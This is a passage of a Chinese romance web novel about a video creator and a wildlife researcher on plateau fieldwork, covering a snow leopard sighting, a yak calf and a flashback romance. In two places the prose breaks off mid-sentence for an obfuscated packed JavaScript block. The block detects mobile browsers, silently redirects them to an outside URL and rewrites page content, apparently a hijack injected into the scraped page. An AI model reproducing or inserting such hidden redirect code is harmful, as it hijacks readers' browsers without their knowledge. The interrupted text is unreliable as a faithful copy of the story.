只是一霎的灵感,容元很快抛诸脑后,在偷偷嗅他的气味,随口问他:“你怎么不夸我,我把他们都喝倒了。” “……”章砺楚把她拉开,淡漠的眼睛审视般盯着她:“把自己喝成这样,也值得夸?” 容元顺坡下驴:“不值得。确实喝多了,走不了直线,可能会摔倒。所以,可不可以牵你的手?” “……” 章砺楚最终给她扶住小臂。 沿路种满了香樟树,身边的人和满街的树都散发着干净清新的淡香。容元闻着,酒劲儿散了点,开始动脑筋。 “师兄,我们去哪?” “送你回宿舍。” “……”良辰美景,竟然直接送她回宿舍,容元不想回,问他:“你吃晚餐了吗?” 章砺楚没答,而是说:“待会儿还要回实验室。” 容元追着问:“你吃晚餐了吗?” 章砺楚偏头看她,有点警告的意味。如果你只是想毕业前乘兴行乐一场,就不要做出这种想介入我生活的姿态。 几位骑着车畅聊的男生并排把小路占满,还挤到了没做抬高的人行道。容元一个猛劲儿把章砺楚往自己这边扯了扯,他们鞋侧面重重地摩擦,好像划亮一根火柴。 “容元。” 他居高临下,垂眸睨她。 容元不回避他冷淡的视线:“实验什么时候做完,我等你一起吃宵夜好不好?” 他的手就在她手里握着。 他转开脸,不想再看她,也不想回答。 天公作美,此时洒下一阵骤雨。 僵持的两个人拉着对方跑起来,哒哒,哒哒,脚步声逐渐重合,雨水落在树上,再由枝叶抖擞,洒在他们头顶,像是洗尘和祝福。 实验楼比容元的宿舍近,就当是为了避雨,章砺楚把她带到实验室门口,搬了张凳子出去给她坐。 容元坐了一会儿,就没老实坐着,趴窗户上盯着里头穿白大褂的章砺楚直看。 章砺楚收回余光。 真他妈的神。 接了她,实验竟然就成了。 容元如愿以偿,拉着章砺楚去找宵夜吃,想来想去没灵感,又怕他反悔,路过第三家还在营业的小店,容元就直接进去了。 他们点了一份生煎小笼和鸭血粉丝汤套餐。 容元饱得很,说是一起吃,其实她也就拿个碗来摊了几口汤喝。不过喝了一晚上冰啤酒,这会儿喝点热的还挺舒服的。 章砺楚食欲不错,他今天就吃了一根半士力架,要不是被她搅着出来,估计今晚胃里要难受。 深夜的生煎比起烧烤之类的刺激夜宵没什么吸引力,前一桌食客吃完走了,现在整个小店里就剩他们俩人。 容元又吃得比章砺楚快,习惯性托腮看他,看着看着被门外的斜风细雨吸引了。树影轻摇,万物滋润,这是骤雨之后的温情。 容元忽然觉得这个夜晚是一个奇遇,人和雨和树都分外美丽。 “香樟树的影子是你的笑,淅沥的雨点是你轻哼的歌谣。” 章砺楚见识过许多动听的声音,每次被打动,他会下意识去分析每一道声音的硬件和技巧,搞明白它们优质在哪。 唯独容元这一句,他的大脑空白,没法做出任何分析,只是没来由地联想到自己初到墨脱的震动。 “我没哼歌。”良久,他平淡地说。 容元说:“好听的话就是诗,就是歌。” “我说什么好听的话了。” “你嘴上没说,但是这里说了。”她直直指向他的心脏。 要说章砺楚每回见到容元的第一反应,那就是不解。 为何边际效应失能,明明几乎每天见,怎么还会每次都觉得她好美。 11. 第十一章 容元没想到,自己会是在这样的情况下见到野生雪豹。 中午吃的爆肚锅有点辣,容元喝了好多水,到了下午,后果来了。 荒山野岭,裸岩碎石,哪里才有安心解放之所?容元过去小声问佳佳,佳佳给她指了十来米外的一处石块。 “一米多点高,你蹲下肯定能挡全,我们刚才就在那。” 撒野尿和不挑食一样是野外工作的生存必备技能,容元本想着少喝水就能避免前者,终究还是破了功。 容元神情凝重地蹲下,思考了一下人类社会性与尊严和卫生的议题。 风簌簌地吹,这也凉,那也凉。 好在很快就过去了,容元掏出纸巾手往后伸,突然被个温暖湿润的东西舔了舔。 她爆出一声惨叫。 众人都没反应过来之时,章砺楚已经跑了出去,许一斌一愣,也跟着跑过去。 只见容元手脚并用爬上大石块,脸上是又想哭又想笑的矛盾尴尬,一只岩羊顶着它的一对大角从石头后背绕出来,尖长的吻部一直怼向容元的手,大大的黑眼睛温顺非常,舌头却是死皮赖脸地要舔她。 章砺楚松一口气,走上去手握成拳,高高地对着岩羊的头挥过去。 容元惊呼着想拦住他,那岩羊脑袋早早扭开,蹄子一掀就跑了。 容元的手落在了男人的手臂上,下意识紧紧揪住他衣袖。 章砺楚抬手扶她下来:“你手上有盐分,它们最缺这个,闻到了就追着舔,吓吓它就跑了。” 容元咕哝:“跑得还挺快。” “因为它们的狩猎者跑得更快。” 许一斌跑一半看到没啥大事就换走的了,这个海拔她跑几步就累得不行,大喘气叉腰过来。 “哎……可惜,没拍到。”自媒体人的专业素养刻入骨髓。 章砺楚无奈笑了笑:“你们在野外方便最好也结伴,以免遇到类似的突发状况。” “嗯,知道了。我是看这里挺近的,刚才佳佳她们也来过,所以……” 容元悄然收起自己的手,却赫然被男人反握,他那么用力,他的体温要透过厚厚的衣服渗透了她。 “看那边,那座山顶。”章砺楚的声音忽然无比放轻,抬高头近乎虔诚地盯着一个方向,日光下他的瞳孔泛着琥珀色的金光。 十几米开外的其余人也发现了有什么非比寻常,轻手轻脚地通知了所有人,共同望向那里。 光秃陡峭的黄灰色崎岖石壁之巅,有一条长长的尾巴弯弯翘起,灰白色的毛发上散布着黑色环形斑块。或许是察觉这群人类对它没有威胁,它散漫地展示给他们一截侧躺的背,厚实的爪子、浅灰的眼睛和锋利的牙齿通通收在石壁的另一面了。 在野生动物园里也看过雪豹,它们或走或卧,也会挥爪捕食饲养员丢进去的鸽子,只是都没有这山巅的一截背影的威严之气。 它们生长于高寒的艰险环境,于悬崖峭壁间行走捕食,饥饱永远和生死挂钩。 这就是它们的生活。 * 晚餐时候,大阳和马大叔大肆吹牛,说自己第二次进山就看到雪豹多么好运云云,马叔经不起他这撩拨,如数家珍地跟他大谈当年。 刘枫摇了摇头,低声跟章砺楚吐槽:“这一段我听过至少五遍。” “我吃好了。” 容元跟大家轻颔离席,许一斌感冒还没恢复全,也没吃多少,就跟着容元一块儿上楼。 周小舟小声问刘枫:“要不要给她们留点菜?如果她们待会儿饿了可以垫垫。” “好,装点起来吧。” 章砺楚不动声色收回目光,但这也没逃过十多年老友的火眼金睛。 容元她们走了,其他研究生也不太敢留太久跟老师们闲聊,于是一个接一个饱遁了,厨师和马大叔换了一桌搜刮剩菜。 刘枫贼笑露了出来,章砺楚一看那表情,都不知道欧阳和刘枫到底是谁学的谁。 “你看哈,人家这朋友圈。” 刘枫直接把自己手机屏幕怼给章砺楚看,章砺楚无语推开。 他早看了。 亲眼在野外见到雪豹,他们都有震撼之感。 容元拍下了当时的一幕发上朋友圈,她没有拉近焦距试图把雪豹的身体部位拍得更明显,而是就让那截背影融进天际和冰川之下,让那条野性的长尾巴成为山峰线的一部分,最原始和自然的一部分。 而刘枫闪烁的八卦之眼,则是因为容元的配文,正是前几天发布的《刃破雪》里的几句。 “风雪不怜人间瘦,又何惧。” 刘枫捏起细腻婉转的嗓音,给他轻声念出来,后马上恢复平日里的懒散笑声:“一选就选中了你改的词,这种点都能对上,你们也太配了,上直球吧章老师!” 章砺楚看了眼马叔他们没注意这边,才压低声音跟刘枫说:“你别跟人瞎说,还不知道她怎么想的。” “我是瞎说的人么我。我就说你肯定是有意思,欧阳之前还非说你可能还想着传说中暧昧三个月的小学妹,说你以前因为人家竟然在石木微博号上伤春悲秋……我觉得吧,虽然你人生就结过那么一次小桃花,都过去这么久了,也该结另一朵了,而且都是小学妹,容元肯定比前一个漂亮吧?” “你怎么知道?” “容元这种是男女通吃,可浓可淡,可乖可拽的类型,在我苛刻的评分标准上都是很难得的美女。” 章砺楚看她:“你管住你自己。” 刘枫气笑了:“我在你这没有道德底线的吗?” 章砺楚意有所指:“在我这有,别处不一定。” 刘枫难得一噎:“总之,加油,希望你快点脱单,也给别人点紧迫感。” “跟紧不紧迫关系不大,有些事情不是因为自己缺了才想要,就是遇到了。”他点到为止,没给刘枫再反应,自己起身去帮着马叔他们收桌洗碗了。 * Aha三人组聚在大阳房间看素材。其实拍到的东西也不少了,尤其今天还收录了遇到野生雪豹的片段,但是三人都觉得不够。 “力量感不够,需要更有劲儿的东西。”许一斌盘膝抱手,闭着眼通达神谕般道。 容元同意:“现在的素材剪出来确实还够不上我们脚本定下的基调,反正也才进山两天,再拍拍吧,实在没有我们再把文案改改。” 大阳点头:“我也想再拍几天,进山有点上头了。” “行。”许一斌睁开眼睛,提醒道,“日常的营业也别落下。” “好的老板。” 刚要散会,周小舟敲开半掩的房门,跟她们说:“马叔说他朋友牧场的小牦牛出生了,你们要不要跟去看看?” 初生的小牦牛? 力量感这不就来了吗? 三人对视一眼,齐刷刷点头:“去~!” 马叔看着攒攒十几个人头,一张黑脸疑惑地看向章砺楚。 不是就叫你来帮下忙吗,怎么变成这么多人? 章砺楚偏头看了看周小舟。 不是就让你叫上三个人吗? 周小舟抠抠手,我是只叫了那三个人啊,也不知道出来又碰上小颜她们啊。 因为,所以,总之,就全体出动了。 马叔的老友德才牧场里的母牦牛刚下了一头犊牛,但是这母牛□□炎了,没奶喂犊子。德才前天去镇上扛货伤了手,现在使不上劲儿,眼看犊子饿了几个小时,没办法才打电话找老友救急。 看来了一群人把他的牛圈围成了教学基地,他手一挥把大部队赶远点:“你们别走太近,这母牛脾气燥得很嘛。” 章砺楚跟他商量:“放一个摄影师进来不打紧吧?” 德才:“一个是可以的嘛。” 母牛对自己的犊牛都看得很紧,它也不知道是因为自己没奶,人才要给犊子喂奶,它天性里就是要保护自己的小犊不让别的碰。 因为要下崽,德才把母牛跟其他牛群分开来,此时小牛圈里就只有烦闷踏蹄子的母牛和哆哆嗦嗦站不起来的犊牛。 马叔和章砺楚一人抓住麻绳一头,绕过去捆住母牛两只牛魔王一样的角,再合力把它拉到桩子边绑住,让它背朝犊牛,看不见人类“虐待”它的小犊。 马叔过去抱起小牛,用奶瓶给它喂奶。一开始小牛都不知道吃,直拧开头,慢慢地尝到了点牛乳的味道,它才开始吮吸起来。 “还挺有劲儿的小家伙,跟它妈一样。”章砺楚过来,笑笑地看着小牛。 德才说:“可不是嘛,其他牛我都能自己弄,就这头我弄不过它,我儿子这几天出去跟女朋友玩了嘛,明天就回来了,谢谢你们了今天。” 马叔说:“明天还弄不了就再给我打电话。” 德才:“能弄能弄。” 故事性结束,容元拿着摄影机脚动变焦收尾,猝不及防那人又投来一眼。 容元心口一突。 不是在看牛么,看我干什么。 剪掉,都给你剪掉。 不过,她是沾光了才能进来近距离拍摄,所以知恩图报地给那个人挤了个笑脸。结果,就见他跟马叔和德才说了什么,便直起身朝她走了过来。 “拍到想要的东西了么?” “跟预想的不太一样,不过也很好。”容元把摄像机关了收进包里,跟他一起往外走。 “预想是什么样?以为给小牛接生?” 容元笑:“差不多。” 他解释说:“小周传消息的时候可能没听清。” 同来的很多人没近距离观察过牦牛,更没参观过牧场,不过都是多少有点动物学知识储备的,对着一眼能看完的牧场也能分析出个一二三四来,此时正几人成群分散讨论着。 当然,也有没在讨论牧场的。 比如许一斌和周小舟。 许一斌问:“你喷香水了?” 周小舟:“昂,你闻到了?” “尼罗河?” “哇塞,不愧是姐姐。” 容元路过听到了,感觉有点怪怪的。 “嗯?” 身旁的人在好像在催她回应,但是容元忘了他上一句话说的什么,于是就, “嗯。” “……” 可能他话说得不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15129103|164367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够直球,所以她没听出来,他的意思是,是他让周小舟去叫她的。 容元在忽然的安静中品出了一丝不可名状的尴尬,她还蛮少出现这种情绪的,不太适应,很快眼睛抓到一侧几块大石头上贴着一块一块扁扁的圆形黑色物质。 她指着那里问章砺楚:“这是什么?” “牦牛粪。” “……” “晒干了可以做燃料。”他解释,“牛吃草,不会臭。” “哦。”容元点点头,拿出手机拍了张照片。 “不用录像了?” “动的才录。这个应该不会用在素材里,就我自己留念。” “嗯。”章砺楚略一沉吟,问:“拍了我挺多,到时都用石头挡我脸?” 容元笑了笑:“不会,上次那个是因为放在vlog里,没认真剪,到时候做宣传片的话会一帧一帧处理,不会出现你的全脸,或者都是大景看不清脸的那种,到时也都会发给你们检查的。不过,” 容元话锋一转,几分揶揄:“我们其实有跟每个人征集过出镜意愿,好像只有你完全不愿意哦。” 拐着弯说他难搞。 但其实,并非只有他一个人不愿出镜。 他浅淡地笑笑,好像只是在说自己:“怕麻烦吧,总有自己的理由。” 容元觉得他清淡的瞳光中有着某种穿透隔阂的理解。说实在的,他这双眼睛,太适合做老师了。 为了感谢帮忙,德才给了马叔一桶牛奶和一包牦牛肉干。回到民宿,马叔给大家煮牛奶配肉干当宵夜。 刘枫晚上在屋里奋战论文没出去,这会儿被奶香味勾出来了,她一手拿着一小条牛肉干嚼着,在听大阳绘声绘色给她讲拉牛故事。 听得兴起,她直接张手一拍章砺楚肩膀,对着大阳和容元的方向赞道:“我们章老师体格真是不错的,对吧?做野外的,攀树爬山负重徒步都不在话下,看这肌肉。” 大阳喜欢听刘枫说话的声音,基本她说什么他都大点头。 容元笑笑算了。 算了。 算不了…… 她再一次从被窝里坐起来。 刘枫说“我们章老师”。 刘枫拍他肩膀的时候随随便便的,容元看他衣服被拍出的褶子,都被碰到一点胸了,虽然他那里有一点微微鼓起比较容易被拍到。 但是……他什么时候对异性的触碰这么随便了? 那他扶她也是随便一扶咯? 想到这里,容元失落得不行。 她不得不承认,她又看上章砺楚了。 时隔三年,她又惦记上同一个男人了。 又来了是吗? 当初不是答应过自己,不再想这种让自己哭的人了吗? 那时她不知天高地厚,什么新鲜都想尝试,不信爱情真的摧心剖肝,一眼看中的男人说追就追。好些人跟她说过章砺楚这人冷淡、无心感情,很难走进他心里。她年少气盛,更是跃跃欲试,扬言有本事就让她尝尝爱情的苦。 无论他对她多么慢热犹豫,她也没挂过一次脸,一直都是高高兴兴的,连接吻完他就消失一天不回消息,她也没有表现出一丁点抱怨。 可是他却一点也不信她的真心。 还真让她尝到爱情的苦了,以至于这几年对男人敬谢不敏,都没他好看,没他优秀,也没有他那勾人劲儿。 没意思。 都怪别的没意思的男人,害得她一重遇他,就又想犯病了。 容元,清醒一点。 但是好难过。 突然好想木木。 她想起来,木木曾经发过一条不太开心的微博,便点开APP去翻。 是前年的2月19日,石木发了这样一条微博。 “大家在难过的时候,都会做些什么呢?” 之后他在评论区表示:“希望大家多关注自己的情绪,都能找到一些小办法来照顾自己的心,快乐地拥抱每一天。” 即使有了这条补充说明,他的低落还是溢于言外。 是什么事情,让这样一个温文尔雅的人难过到需要在公共平台抒发呢? 那时容元毕业半年多,遇到了一些事,还在一个混乱期,只偶尔听听歌,没怎么关心其他,也很久没给石木发私信。之后微博改版,她再也不能知道自己的私信是否被看到,就更少发了。 她这才发现,自己换了新手机一年,都没给他发过私信。 现在微博非会员给不互关的人只能发一条私信。 没关系。 容元马上充了会员。 打开给石木的留言,其实她也不知道要说什么。大学的时候总有讲不完的话,后面学着做一个真正的成年人,承担起一些事,她反而习惯缄口。 “木木,很久很久没跟你说话了,但是我没有变心哦,你的每一首歌我都还在听,新歌也很好听,谢谢你。爱你。” 其实她还有20条私信额度,但是发完这段话,她有点感动于这种默然流淌、不需回应但是互为陪伴的感情,觉得也不用再说其他。 这世间总有事值得。 12. 第十二章 积累了越来越多的素材,Aha三人组也不会什么都拍了,更多时候会在一旁开会。不仅讨论宣传片的事,也会谈常规选题,比如针对高考完的学生群体,在这个热点期要出什么话题比较有新意。 吉美在边上听得有趣,兴致勃勃地加入讨论。 “可以用选学校的话题吗?以前我考完试,会有人组织开会,教我们怎么选学校,但是我觉得他们给出的选择范围不够全面。” 这两天要去的勘察地点是保护中心也没开过荒的新地图,吉美加入一方面是拓展保护中心的巡护记录,一方面也是为研究团队提供多一点安全保障的意思。 许一斌实话实说:“这个问题太大了,不是我们账号的风格,这个赛道有其他专业的老师已经做得很好了,我们还是以轻松幽默为主。” 吉美挠挠头:“想不出来。” 他好像特别喜欢火捐赠的衣服,每回出勤都穿着,荧光橙的冲锋衣映得他小麦色的皮肤更加黑亮,笑起来牙齿特白。 容元没忍住给他抓拍特写,边拍边赞:“特别好!你就是这边阳光的具象化。” 章砺楚停下手头上的事,面无表情喝了一口水。 吉美和许一斌都凑过去看照片,许一斌也觉得好,跟吉美说:“到时说不定用你做封面,观众一看就进去了。” 吉美不解:“什么进去?” 容元说:“就是说你特别符合我们西北系列想要的气质,热情开朗又坚韧。对了,你的名字有什么含义吗?” 吉美说:“嗯!吉美就是无畏的意思,我的爸爸妈妈希望我是一个勇敢坚强的孩子。” 许一斌拍掌:“太对了太对了!” 周小舟探头插嘴:“我是父母希望我像一叶扁舟一样自由自在又不失沉稳。” 许一斌:“行了行了知道了。” 只有大阳一心想选题:“那就讲谈恋爱怎么样?高考完就不是早恋了,可以结婚了。” 两位女性皱起眉头。 “要谈两性关系吗?” “也没什么新意吧?” 许一斌说:“研究男人的文本都大同小异。” 容元点头:“主要是因为男人都没什么意思。” 三位男性都陷入沉默。 “是吗,男人很没意思吗?”章砺楚拿几块士力架过来分给他们,十分不经意地接了一句。 容元一块掰作三份跟许一斌和大阳分着吃,也是很随口地说:“当然不包括章博士,博士什么都懂,怎么会没意思呢?” “唔,谢谢夸奖。” 阴阳能当做恭维笑纳,周小舟反思,自己还是不够沉稳,必须多向他导儿学习。 常规选题的主题最终采用了留守公司的阿花的提议,他们乐享其成,接着找东西拍。 大阳找到一块儿绝佳观景位,趴了俩小时用长焦拍底下草原上藏狐恶斗兔狲。大伙儿听说有东西看,轮流趴那里观看了一会儿。 容元今天拍摄的主角是吉美,他高鼻窄脸的特别上镜,还时不时感觉到不好意思,对着她腼腆一笑,笑得她和许一斌都跺脚直说心要化了,吉美更不好意思,黑黑的脸都涨红了,结果小钟和佳佳也跟着笑他,容元看他要受不了了,便掉转枪头,让他缓缓,先换个人拍。 一转,就转到了章砺楚那。 有什么办法,摄像机有自己的偏爱。 容元跟了几天,不用问也能推知他在仔细分辨岩羊在地上留下的痕迹,便从他侧后方跟拍。 “做野外的,攀树爬山负重徒步都不在话下,看这肌肉。” 脑子里突然响起了刘枫说的这话,初听觉得酸涩,可现在盯着他的身影,又体会出一种安利的意味。 从她这个角度看,男人利落的下颌角跟直直的颈线边界分明,没有一丝赘。平坦宽阔的肩膀连接大臂的地方恰到好处地鼓起。日头高照,他把外套脱了,打底衣外只套了一件薄抓绒衫,拉链拉到胸口,像是被什么撑开似的。 当然,确实也有点点撑,容元坏心眼地揣测他是不是特地选了小一号的抓绒衫来凸显自己的体型。 容元正在心里刻薄某人,忽然听到一阵不远不近的呜呜咕咕呜的奇怪声响,可抬头四望,只有光秃秃的石壁,哪有什么活物。 “又像鸡又像狗的声音是谁的?” 章砺楚被她吐槽的形容逗笑,说:“应该是高山兀鹫,它们喜欢在高山峭壁上生活。” “高山兀鹫,跟秃鹫有什么区别?” “高山兀鹫应该比你印象中的秃鹫更大点,更好看点。” 你怎么知道我关心它好不好看。 容元说:“我以为这种大鸟的叫声都会比较威猛,就那种哨音。” “你是说,类似电视剧里那种高昂的凤鸣?” 你又知道了。 容元矜持地点了一下头,就跟那晚他们机场见面他点的那个头那么矜持吧。 章老师不计较,接着说:“那一般都是用红尾鵟的声音配的,猛禽界的老配音演员。高山兀鹫也有哨音,不过很多猛禽的声音都没有人们想象中那么‘猛’,而且它们可能有很多种声音,比如长耳鸮,据记载能发出23种不同的声音,有时会伪装成猫一样的叫声。” “啊~”容元有自己的理解,“一些石木行为。” 章砺楚:“……” 啊~说到石木,容元灵感来了,丢下被拍人,跑回去跟大阳和许一斌随时随地大小会。 “我想收录一些动物的声音来作为……” 说到声音素材,几人又对旁白部分做了调整,许一斌当场试录了几句,然后三人陷入沉思。 “不太对。” “老板的声音,也不是难听,就是……” “有点不够细腻,而且观众可能习惯了你搞笑的状态,有了刻板印象,你再念这几句就感觉有点出戏。” 许一斌捏着下巴,说:“容元试一下吧。” “啊?” “声音而已,不会有人认出来的。” 许一斌目光传递过来一种不容置疑的力量。 容元定了定神:“好。” 她照着许一斌刚才念的几句词录了一遍,他们反复播了四次,然后你看看我我看看你,最终两两击掌。 “就这么定了。” 于是话题又延展到了录音的事,大阳说既然每年公司都会做几个正经的拍摄项目,不如就自己入点趁手的录音设备,正聊着选哪款麦克风。许一斌嫌纽曼太贵,大阳想了想:“那舒尔也行吧,sm7b和mv7这两款都是很多人推荐的。” 许一斌和容元对这个领域很陌生,正疯狂上网补习。 这时,有人提出了建议:“你们在室内录的话其实电容麦更好,考虑性价比的话我推荐森海塞尔mk4,比较适合她的音色。” 显然他旁听他们开会听了许久。 许一斌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15129104|164367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑嘻嘻问:“为什么比较适合‘她’的音色?” 章砺楚好像没察觉她话语中的揶揄,纯粹是在分析设备:“这款的通透度很好,能保留更多细节,出来的效果会比较有故事感。” 大阳一想:“也是,动圈麦是有点太滑。” 两人又沟通了会儿声卡和话放的搭配,大阳满意地选出了几件,然后把预算打出来呈给许一斌看。许一斌思索片晌,点了点头。 容元抿了口水,看向章砺楚:“你还懂这个。” 章砺楚点头:“博士嘛,是得什么都懂一点。” 容元:“……” 行,这话还是给他还回来了。 明亮的阳光长久地盘桓,给足了人们劳作的时长和耐心。这个混合团队的所有人都在几日的野外工作中感受到许多,不仅是这里不同于他们居住地的气候、景观、骤变的天气,还有对整个区域的感知,包括栖息地的片段化,草原到荒漠再到雪山的连通性,以及这里的自然历史。 这里有千百种形态不一的生命,它们栖息或根植于各自的领地,拼命获取世界给与的资源以存活,千万年不变。 不,是一直在变的。海拔、温度、人类留下的痕迹都让这些生命处在一种微妙的动态之中,有的物种进化了、有的消失了。人类也会担心,如果这摇曳的平衡遭到彻底的破坏,自己有一天是不是也会消失,成为这个星球浩瀚历史中的沧海一粟。 因此更渺小,更敬畏。 大阳接下来的时间兢兢业业趴地上,拍完藏狐拍旱獭,容元来来去去,看着他姿势越发扭曲,圆滚的屁股能找到千奇百怪的角度支撑,觉得挺有意思,于是也蹲下拍了他挺久。 其他人也来来回回,小钟和佳佳坐在一边喝水休息,突然问:“为什么Aha大王的账号有这么多大阳出镜的视频,却没有容元出镜的视频?” “对呀,容容姐出镜的话,数据肯定比大阳好吧?” 大阳听了哇哇叫:“我人气很高的好吧!” 容元想了想说:“怕麻烦啦~” 小钟缓缓点了点头:“也是,容容姐的脸又美又有辨识度,上街被人认出来要合照什么的话,是挺麻烦的。” 大阳撅着屁股:“我上街也有被人合照过的!” 他们插科打诨,容元自觉借用了某人的话术,眼睛下意识去找他,竟发现他也在看她。 那眼神,就好像在她脑袋上轻轻按了按似的。 容元顿时觉得身体里有鸽子在扑棱扑棱拍翼,心慌意乱地收回视线,感觉脚也立马发麻了,浑身处于收束着又有什么要涌动而出的矛盾之中。 她蹲不住了,腾地站起身,要呼吸,要伸展。 可是她忘了她那可恶的低血压眼冒金星症,走两步就视野一片缭乱,身体失衡,最终又落入了那阵清淡皂香的包裹之中。 就是因为你老这样,我才会乱啊! 容元登时把他推开,缓了两秒,低声说:“没事。” 章砺楚明确感受到一种坠落。 以前她总对他叽叽喳喳热情似火,他少有看她背影的时候,不知道巧笑倩兮的姑娘的背影是这样瘦直孤高。 他跟刘枫说,不知道容元是怎么想的,他现在发觉,或许他也不清楚自己是怎么想的。 万一,只是她的出现又勾起了你对那种热烈直白的回味呢? 万一,只是因为她现在不再偏爱于你,所以你才会失落呢? 13. 第十三章 “什么时候回来什么时候回来什么时候回来?” 那年六月初,章砺楚去首都参加学术会议并去研究所做交流,说了需要五天,小姑娘还是乐此不疲每天发来催返信息。 就爱跟他闹着玩。 其实没有他在,她的生活也丰富多姿,比如看电影、聚会、拍民国毕业照、学台球…… 这不,等他真订了回程机票发给她看,她却发过来一条小牛哞哞那么低落的语音信息。 “啊~~~~怎么刚好是这天这个时候啊~我接了一个CP展coser的活,那天要站台诶~” 他难得也用语音回她:“怎么了,漫展影响你拉我去吃宵夜么?” 下一条她回过来又是快乐的小鸟了:“我是觉得可惜呀~我想去给你接机嘛。” 章砺楚觉得身体某处动了动。 他一个二十六岁的大男人了,哪里还需要谁接机。 但她好像真的觉得很可惜,到了当天她换了装拍自拍照发给他看,还在说:“你看,就是因为这个人,害得我没法去接你。” 她戴了一顶浅绿色的假发,不知道画的叫什么妆,跟平时很不一样,眼睛比铜铃还大,本来就小的脸盘都不剩多少了,精致得像个假人。 不过少了平时眼珠子乱转的狡黠劲儿,看着乖巧宜人。 章砺楚回:你先忙完,我晚上不用去实验室。 一颗好头:[害羞][害羞][眨眼睛] Zlc:…… 果然乖巧宜人都是假象。 章砺楚又盯着那张照片看了半晌,看得眉头拧着但嘴唇又弯起来。 还是平时好看点。 班机落地滑行,咕隆隆的滚轮噪声中,大脑一遍一遍播放她那句“我是觉得可惜呀~我想去给你接机嘛。” 章砺楚鬼迷心窍,开了机马上问欧阳亚能不能找人带他进CP展展馆。 欧阳亚给他回了一整页的问号和一整页的句号。 无语归无语,欧阳师兄还是很尽责地给师弟想到了办法。章砺楚拿完行李来到出口,就收到了他给的联系人名片。 给归给,还是得叨叨一通。 为表感激,章砺楚点开了他那20秒的语音。 “我跟他说好了,你直接去找他就行。不是我说,你一把年纪什么时候迷上的二次元,迷上了也不自己买张票,就知道嫖你师兄的人脉。诶?不对,你难道是去找人姑娘……” 噪音旋绕,他视野中闪进了个五颜六色的影子。 五颜六色的影子也没想到自己还能误打误撞发现惊喜彩蛋,定在他跟前捂嘴抽气偷笑,像一只尾巴翘高的得意猫。 还是小三花。 头发是红的,眼睛是绿的,裙子鞋子是白的,小腿袜是灰的,手腕上带了几只红红绿绿的细手串。 嗯,这是只四花。 “章砺楚,我来接你啦~是不是很惊喜!”说着,她从帆布包里掏出小束满天星递过来,“当当~恭喜师兄顺利参与了棒棒的学术行程,欢迎回来~” 她脸上的妆还是早上发给他照片里的那样,是做完兼职就换衣服赶过来的,还买了花。 有一点他想错了。 原来这么夸张的妆效,在她脸上也一样生动美丽。 “谢谢。”他接过她的盛意,克制着想抱她的冲动。 “今晚想吃什么?我请客。不介意的话,我先回一趟寝室放行李换身衣服?才四点多,你还不饿吧?”只能多说话,转移注意力。 “不介意,都不介意。”她一向落落大方,坦坦荡荡盯着他笑,一点儿也不掩藏自己的快乐,“跟师兄吃什么都挺好吃的,我不挑食。” 他不想怠慢她,又摇欧阳亚帮忙订了一家在本地叫得上名号的西餐厅。她到店虽然有些惊讶,但举止从容,没有半分拘束,脸上的明媚笑容微妙地柔了一些。 “师兄这样请客的话,我以后会经常接你机哦。” “没那么多大会要开。”你也不是这么闲的人。 饭后她说要请他看电影,他便问她想看什么片子。 “就前几天那个片子,我们看的那场小孩太多了,很吵,我想重刷。现在这个点,应该没那么多小朋友了。”她嘟囔着,低头看场次。 红艳艳的脑袋像收合的花苞。 他又想起黑环罂粟,很想摸一摸她柔顺的发丝是否也如花瓣丝绸的质感。 然而他只是把她手腕压低。 “我来买。” 没跟女生单独出来过,但欧阳亚以前跟女生出去从不会让女生埋单,他没理由做得比欧阳亚差。 看电影的时候,他再度萌生了想拥抱的欲望。 昏暗的影厅消解了距离的守则,她时不时转过来附在他耳边小声吐槽,手臂放在他们之间的扶手上,整个人像花香涌来。 后来他想过,也许就应该在那天晚上跟从心意拥抱她,再将心迹梳理坦白。如果确定了关系,她大概肯跟他多说一些,他们也不会因为一点疑虑就负气断联。 那天电影散场,他接到恩师离世的消息。 有些事情,就冷却了。 * 经过前几天的积累,调研团队效率高涨,勘察进度已经跟上了原定的计划,没因为休整过一天而落下半分。 士气大发,他们决定在今天下山之前把禾迦山这边的工作都做完。 是个有点激进的计划,但他们人手充足,分组作业完全能实现。 而分组嘛,要满足每组两人以上,专业水平和体能上有保障。于是形成了章砺楚带容元,吉美带许一斌和阿东,周小舟带大阳,佳佳带小钟和小梁,如此四组。 容元想挣扎一下:“我能不能跟吉美一组,想跟吉美聊天。” 许一斌说:“我看到老师就怕,不敢和章老师聊天。” “……” 周小舟眼珠子转了转,欲言又止,还是老老实实勾住大阳的厚肩哥俩好。 大阳:“我就知道你喜欢跟我聊天。” “我和吉美会快一些,我们各自负责两个区域,其余小组负责一个区域,完成后我们回到这里汇合下山,明白了吗?”章砺楚忽略这些的小插曲,高效安排工作任务,低沉的声音字字清晰磁性。 让人很想触碰他喉结,感受它如何震动。 “明白!”大家异口同声道。 “好,注意安全,保持联系,有任何事情随时汇报。出发。” “出发!” 无论这山有多高,远处都有更高的峰,而在群山峻岭之上,是永远无法触及却又永恒存在的蓝天。 容元跟在后面,盯着男人的步伐,计算他的步速,应该,是顾及她的体能所以放慢了些。 坡面在抬升,他们走了十来分钟,来到了第一个点位。 这是一个狭口,被两边高高的石壁夹着,风从窄口哗哗灌进来,猎猎作响。 